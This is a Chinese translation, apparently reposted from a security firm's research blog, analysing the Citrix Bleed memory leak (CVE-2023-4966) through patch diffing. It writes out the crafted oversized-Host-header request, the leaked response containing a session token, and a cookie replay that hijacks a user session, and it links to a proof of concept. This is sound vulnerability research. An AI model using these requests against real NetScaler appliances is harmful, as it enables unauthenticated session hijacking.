介绍
是时候进行另一轮 Citrix 补丁比较了！本月早些时候，Citrix 发布了一份安全公告，其中提到了“未经身份验证的缓冲区相关漏洞”和两个 CVE。这些问题影响了 Citrix NetScaler ADC 和 NetScaler Gateway。
我们对 CVE-2023-4966 感兴趣，它被描述为“敏感信息泄露”，CVSS 评分为 9.4。信息泄露漏洞的高分以及“缓冲区相关漏洞”的提及引起了我们的兴趣。我们的目标是了解该漏洞并开发针对我们的攻击面管理平台的检查。
对于那些不熟悉 Citrix NetScaler 的人来说，它是一种提供负载平衡、防火墙和 VPN 服务的网络设备。NetScaler Gateway 通常指 VPN 和身份验证组件，而 ADC 指负载平衡和流量管理功能。我们之前在这里和这里讨论过 NetScaler 中的问题。
对于那些只想查看漏洞利用或暴露测试的人，可以在此处获取我们的概念验证。下面可以看到该脚本的演示。
补丁比较
我们首先安装和配置我们想要比较的两个版本。我们选择了13.1-49.15和13.1-48.47。根据我们之前使用 NetScaler 的工作，我们知道要查看/netscaler/nsppe二进制文件。这是 NetScaler 数据包处理引擎，它包含完整的 TCP/IP 网络堆栈以及多个 HTTP 服务。如果 NetScaler 中存在漏洞，我们首先要注意的就是这个漏洞。
我们使用 Ghidra 反编译了两个版本的nsppe，并使用BinExport扩展创建了 BinDiff 文件。由于二进制文件非常大，因此此过程需要一段时间。为了确保成功，我们将“编辑”->“工具选项”->“反编译器”下的反编译器设置调整为以下内容。
-
缓存大小（函数）：2048
-
反编译器最大有效负载（MB）：512
-
反编译器超时（秒）：900
-
每个功能的最大指令数：3000000
创建 BinDiff 文件后，我们打开它们进行比较，发现大约 50 个函数发生了变化。我们继续检查每个版本，通常在 Ghidra 中打开两个版本，并使用文本比较工具比较反编译的输出。
找到易受攻击的函数
我们发现两个突出的函数ns_aaa_oauth_send_openid_config和ns_aaa_oauthrp_send_openid_config。这两个函数执行类似的操作，它们实现 OpenIDConnectDiscovery 端点。这些功能都可以分别通过/oauth/idp/.well-known/openid-configuration和/oauth/rp/.well-known/openid-configuration端点进行未经身份验证的访问。
这两个函数还包含相同的补丁，即发送响应之前的额外边界检查。这可以在下面的代码片段中看到，显示ns_aaa_oauth_send_openid_config之前和之后。
原来的
iVar3 = snprintf(print_temp_rule,0x20000,"{"issuer": "https://%.*s", "authorization_endpoint": "https://%.*s/oauth/ idp/login", "token_endpoint": "https://%.*s/oauth/idp/token", "jwks_uri": "https://%.*s/oauth/idp/certs", "response_types_supported": ["code", "toke n", "id_token"], "id_token_signing_alg_values_supported": ["RS256"], "end _session_endpoint": "https://%.*s/oauth/idp/logout", "frontchannel_logout_sup ported": true, "scopes_supported": ["openid", "ctxs_cc"], "claims_support ed": ["sub", "iss", "aud", "exp", "iat", "auth_time", "acr", "amr ", "email", "given_name", "family_name", "nickname"], "userinfo_endpoin t": "https://%.*s/oauth/idp/userinfo", "subject_types_supported": ["public"]}",uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);authv2_json_resp = 1;iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);
已修复
uVar7 = snprintf(print_temp_rule,0x20000,"{"issuer": "https://%.*s", "authorization_endpoint": "https://%.*s/oauth/ idp/login", "token_endpoint": "https://%.*s/oauth/idp/token", "jwks_uri": "https://%.*s/oauth/idp/certs", "response_types_supported": ["code", "toke n", "id_token"], "id_token_signing_alg_values_supported": ["RS256"], "end _session_endpoint": "https://%.*s/oauth/idp/logout", "frontchannel_logout_sup ported": true, "scopes_supported": ["openid", "ctxs_cc"], "claims_support ed": ["sub", "iss", "aud", "exp", "iat", "auth_time", "acr", "amr ", "email", "given_name", "family_name", "nickname"], "userinfo_endpoin t": "https://%.*s/oauth/idp/userinfo", "subject_types_supported": ["public"]}",uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);uVar4 = 0x20;if (uVar7 < 0x20000) {authv2_json_resp = 1;iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);...}
该函数非常简单，它为 OpenID 配置生成 JSON 有效负载，并使用snprintf在有效负载中的适当位置插入设备的主机名。在原始版本中，响应是立即发送的。在修补版本中，仅当snprintf返回小于0x20000 的值时才会发送响应。
该漏洞的发生是因为snprintf的返回值用于确定ns_vpn_send_response向客户端发送了多少字节。这是一个问题，因为snprintf不会返回它写入缓冲区的字节数， snprintf返回如果缓冲区足够大，它会写入缓冲区的字节数。
为了利用这一点，我们需要做的就是弄清楚如何使响应超过0x20000字节的缓冲区大小。然后，应用程序将使用完全填充的缓冲区以及紧随print_temp_rule缓冲区的任何内存进行响应。
利用端点
最初我们认为该端点可能无法被利用。插入的唯一数据是主机名，这是需要管理员访问权限才能配置的内容。幸运的是，我们错了，插入有效负载中的值不是来自配置的主机名。它实际上来自 HTTP Host标头。
我们还幸运的是，NetScaler 将主机名插入到有效负载中六次，因为这意味着我们可以达到0x20000字节的缓冲区限制，而不会因为主机标头或整个请求太长而遇到问题。
我们整理了以下请求并将其发送到我们的 NetScaler 实例。
GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
Host: a <repeated 24812 times>
Connection: close
我们收到了如下所示的响应，其中删除了不可打印的字符。
HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 147441
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-Citrix-Application: Receiver for Web
{"issuer": "https://aaaaa ...<omitted>... aaaaaaaaaaaaaaaaí§¡
ð
í§¡-ª¼tÙÌåDx013.1.48.47à
d98cd79972b2637450836d4009793b100c3a01f2245525d5f4f58455e445a4a42HTTP/1.1 200 OK
Content-Length: @@@@@
Encode:@@@
Cache-control: no-cache
Pragma: no-cache
Content-Type: text/html
Set-Cookie: NSC_AAAC=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;Secure;HttpOnly;Path=/
{"categories":[],"resources":[],"subscriptionsEnabled":false,"username":null}
ð
å
å
PÏÏ
H¡
éÒÏ
eGÁ"RDEFAULT
ò #pack200-gzip
compressdeflategzip
dentity
þÿÿÿÿÿ
©VPN_GLOBALÿÿÿÿÿÿ è"AAA_PARAMí
我们可以清楚地看到紧随 JSON 负载之后的大量内存泄漏。虽然其中很多是空字节，但响应中存在一些可疑的信息。
验证会话令牌
由于print_temp_rule缓冲区是静态全局的，因此我们每次得到的响应都是相同的。这使得测试变得容易，因为我们不必为了找到某些东西而运行请求数千次。我们能够可靠地获取在响应中看到的 65 字节长的十六进制字符串，并通过将其用作 NSC_AAAC 会话 cookie 来验证它是否是有效的会话cookie。
POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
Host: 192.168.1.51
Cookie: NSC_AAAC=59d2be99be7a01c9fb10110f42b188670c3a01f2245525d5f4f58455e445a4a42
Content-Length: 0
Connection: close
HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 4
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
X-Citrix-Application: Receiver for Web
testuser1
并非每个 NetScaler 实例都配置为使用相同类型的身份验证，但在我们测试过的几乎所有实例中，都可以在响应中的此位置找到 32 或 65 字节长的十六进制字符串。
最后的想法
在这里，我们看到了一个有趣的例子，说明由于不完全理解snprintf而导致的漏洞。尽管建议使用snprintf作为sprintf的安全版本，但仍需小心谨慎。使用 snprintf 避免了缓冲区溢出，但随后的缓冲区过度读取仍然是一个问题。
与 Citrix NetScaler 之前的问题一样，由于缺乏其他深度防御技术和缓解措施，该问题变得更加严重。不清除临时缓冲区中的敏感数据以及对客户端提供的数据进行更严格的验证是两个最明显的缓解措施，可以用来最大程度地减少损害。
与往常一样，我们的攻击面管理平台的客户已收到有关此漏洞存在的通知。我们继续进行原创安全研究，努力让客户了解其攻击面中的零日和 N 日漏洞。
exp：
https://github.com/assetnote/exploits/tree/main/citrix/CVE-2023-4966
感谢您抽出
.
.
来阅读本文
点它，分享点赞在看都在这里
原文始发于微信公众号（Ots安全）：Citrix Bleed：CVE-2023-4966 泄漏会话令牌
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论